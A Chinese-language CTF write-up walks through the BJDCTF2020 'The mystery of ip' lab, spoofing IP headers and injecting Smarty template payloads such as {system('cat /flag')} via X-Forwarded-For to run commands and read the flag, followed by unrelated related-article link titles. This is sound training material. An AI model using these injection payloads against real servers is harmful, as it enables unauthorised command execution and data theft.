[BJDCTF2020]The mystery of ip 思路及解法

大家好,那么可以叫我凌,是个16岁的网络安全学习者。

今天我们的目标是 BJDCTF2020The mystery of ip 这道题目。


解题思路

我们先启动靶场

和上次相同,是SSL加密的TCP隧道地址。我猜测这是CTF2的特色,因为以前我刷BUUCTF的时候并没有这种方式。

那我们老样子,依旧使用CURL探探虚实:

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/

发现可疑目标,可能藏有Flag。我们继续深入看看。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php

发现了个IP地址,我查了下本机的公网IP和内网IP,并不属于这个地址。那我们ping一下看看

bash 复制代码
ping 10.42.3.43

物理机ping不通,Kali也同个情况。那么我们猜测应该是内网IP暴露在了公网,那继续尝试修改请求头看看能不能欺骗目标。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: 127.0.0.1"

curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:127.0.0.1"

curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "Client-IP: 127.0.0.1"

三个命令两个结果,看来只有 "X-Real-IP" 和 "X-Forwarded-For" 可以欺骗过目标。

html 复制代码
<label><h2>Your IP is : 127.0.0.1</h2></label>
<label><h2>Your IP is : 10.42.3.44</h2></label>

嘶!可是我们要的是Flag啊,现在只是骗过了目标,接下来我们该怎么做呢?

对于以前刚接触这种题目的我可能是满头雾水,但是现在就不一样了。那在这里,我给大家分享个我以前第一次做这道题目得出的一个道理,就连当初我的老师教我的时候也没有讲过。那就是:

渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。

这个道理我相信刷过CTF的人多多少少都会悟出来,就算没有,在这个栏目里面我们也会去逐步验证的。

那我们就直接使用 {{7*7}} 塞入请求头的IP地址里面看看会发生什么。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Real-IP: {{7*7}}"
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{{7*7}}"

重大发现。""X-Real-IP"没有什么发现,但是"X-Forwarded-For"居然返回了个49!那说明可能存在RCE漏洞。

那我们就来验证下吧

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system(whoami)}"

确认了,用户名被爆出来了,确实存在RCE漏洞。

html 复制代码
<label><h2>Your IP is : www-data www-data</h2></label>

那我们就可以直接读取看看有没有flag了:

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For:{system('ls')}"
html 复制代码
<label><h2>Your IP is : bootstrap
css
flag.php
header.php
hint.php
img
index.php
jquery
libs
templates_c
templates_c</h2></label>

看来并没有,flag.php就是目前我们访问的文件,那我们深入根目录看下。

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('ls /')}"

发现可疑文件flag,我们尝试读取看看

bash 复制代码
curl -k https://2a2d313aff21064fcab951d0.tcp-ctf2.dasctf.com:9999/flag.php -H "X-Forwarded-For: {system('cat /flag')}"
html 复制代码
<label><h2>Your IP is : CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}
CTF2{ae241eeb-b3ad-4b09-8e8e-bade2233be9f}</h2></label>

成功拿下flag,这样子这道题就算完成了。


靶场小结

考点标签

SSTI、Smarty模板注入、HTTP请求头伪造、绝对路径

关键感悟

渗透测试过程中重要的不是服务器收到的各个信息,而是对各个信息的处理方式。就算是查看浏览器类型,只要处理方式不对也会出问题。

核心教训

功能点即攻击面:页面上显示IP地址的功能,背后可能对应着X-Forwarded-For、Client-IP等请求头的处理逻辑,每一个能控制输入的地方都值得测试。

解题关键步骤

  • 第一步:发现IP回显功能 → 页面显示Your IP is : xxx,说明后端获取并显示了访问者IP。

  • 第二步:伪造请求头 → 依次测试X-Forwarded-For、Client-IP、X-Real-IP,找到能修改回显IP的请求头。

  • 第三步:测试SSTI → 将IP值改为{system('ls')},确认命令被执行,页面回显了目录列表。

  • 第四步:读Flag → 用{system('cat /flag')}直接读取根目录下的Flag文件

相关推荐
andxe5 小时前
安科士 AndXe 技术博客:400G QSFP112 SR4 光模块|AI 算力与超算短距互联最优方案
网络·人工智能·光模块·光通信
shiyi.十一6 小时前
第2章:应用层 — 知识要点与架构
网络·计算机网络·架构
DFT计算杂谈7 小时前
无 Root 权限在 Tesla K80 零门槛部署 DeepSeek 大模型
linux·服务器·网络·数据库·机器学习
水境传感 李兆栋7 小时前
GNSS 位移监测站 :毫米级感知,筑牢安全监测防线
网络
九硕智慧建筑一体化厂家7 小时前
直流智能照明|一站式低碳照明解决方案,安全、节能、降本、全场景适配
安全
中微极客9 小时前
2026主流AI Agent框架技术选型与性能对比
运维·网络·人工智能
admin and root11 小时前
「移动安全」安卓APP 反编译&frida脱壳技巧分享
android·开发语言·python·web安全·微信小程序·移动安全·攻防演练
小程故事多_8012 小时前
算力工厂与安全沙箱,企业AI规模化落地的两条核心生命线
人工智能·安全
云水一下12 小时前
零基础玩转bWAPP靶场(十四):SQL 注入(GET/选择型)
web安全·sql注入·bwapp
猿的天空13 小时前
机器人双手迎来全栈训练系统:灵初智能EgoSteer让灵巧手无所不能
网络·人工智能·计算机·ai·程序员·机器人·编程